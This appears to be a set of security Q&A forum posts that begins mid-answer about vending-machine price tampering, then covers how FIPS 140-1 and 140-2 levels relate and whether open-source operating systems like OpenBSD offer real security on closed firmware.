Having said all that, there doesn't seem to be much of a threat here. If an operator lowers the price for a specific machine then you should be able to identify the discrepancy for that machine between the amount of drinks that were put into the machine and the amount of money that you got out of it. This is something you need to check anyway to ensure that the machine operators aren't simply taking money (which is clearly a more severe threat than stealing a few drinks).


FIPS 140-1 and FIPS 140-2 I tried googling for this info but it's not easily available because FIPS 140-1 is now really old.

Does FIPS 140-2 automatically cover FIPS 140-1 - i.e. if a device (in my case an HSM - Hardware security Module) is FIPS 140-2 Level 1 Compliant - does that mean it's automatically FIPS 140-1 Level 4 compliant? In other words does the lowest of level of FIPS 140-2 automatically cover the highest level of FIPS 140-1.

Can FIPS 140-1 and 140-2 together be considered a 8 step process from 140-1 Lev 1 to 140-2 Lev 4 - i.e. if you have covered step X, does that automatically mean covering all steps between 1 to X?

The -1 or -2 part is a version number. A module that is FIPS-140-2-compliant is not more secure than a module that is FIPS-140-1-compliant, it is only more up-to-date in the certification process. The requirements for FIPS 140-1 level N and FIPS 140-2 level N are broadly similar. In other words, you get the same amount of security from FIPS 140-2 level 1 as from FIPS 140-1 level 1, and so on. There are 4 steps, not 8 — it's just that the requirements for climbing those steps were tweaked.

You can no longer have a product validated under FIPS 140-1, because it is no longer a current standard. I believe US agencies are still authorized to purchase products based on a FIPS 140-1 certificate, with the same level requirements as for FIPS 140-2 certifications.


What is the point of using an open source and secure OS if you are running it on a machine with closed source firmware? I'm very interested in the OpenBSD OS, as it currently seems to me to be the option that takes security more seriously than its contemporaries. But as I was reading about it, it occurred to me that even if OpenBSD is all it claims to be, how does all that security and openness matter, if I'm running the OS on closed-source BIOS/proprietary hardware?

I am aware of Open BIOS, coreboot and Libreboot, but I wonder why security-focused systems like OpenBSD don't make such a big deal about using open firmware. Don't you defeat the purpose of open security by using closed firmware in the first place?

Historically, the open source movement is not about security but about freedom. Basically, Richard Stallman was very dismayed at not being able to fiddle with his printer because the driver source was unavailable.

OpenBSD's stance on being "secure" does not come from it being open source, but on an avowed goal and pledge to do things properly with regards to security (still historically, OpenBSD came into existence because some developers in NetBSD were much better at programming than at managing human-to-human peaceful relations).

The association between security and open source is more recent. In fact, right from the start, it was explained as being an incomplete concept (see Ken Thompson's famous Reflections on Trusting Trust). One element in the discussion is Linus's Law that says:

  given enough eyeballs, all bugs are shallow

The core idea is that, with sufficiently many reviewers, bugs will be found, and this extends to security-related bugs. This holds, however, only on the premise that there are reviewers. Open-source software makes external reviews easier, but that does not mean that external reviews actually happen. When was the last time you went through existing source code ?

Case in point: OpenSSL. After yet another vulnerability was found in the code base, a fork was made, called LibreSSL, and they started an explicit reviewing effort, that found several serious issues in the code base. These issues had been there for years, right in the middle of a library which can be said to be one of the most crucial security-related libraries in the Linux ecosystem. So this was open source, and yet not sufficient (at all) to achieve proper vulnerability detection.

So of course open-sourceness helps with security, but not as much as can be hoped for.

What open source really brings is a much increased risk for people who want to willingly plant backdoors. It is hard to make code that looks innocuous to reviewers and still does bad things (there is a contest for such code).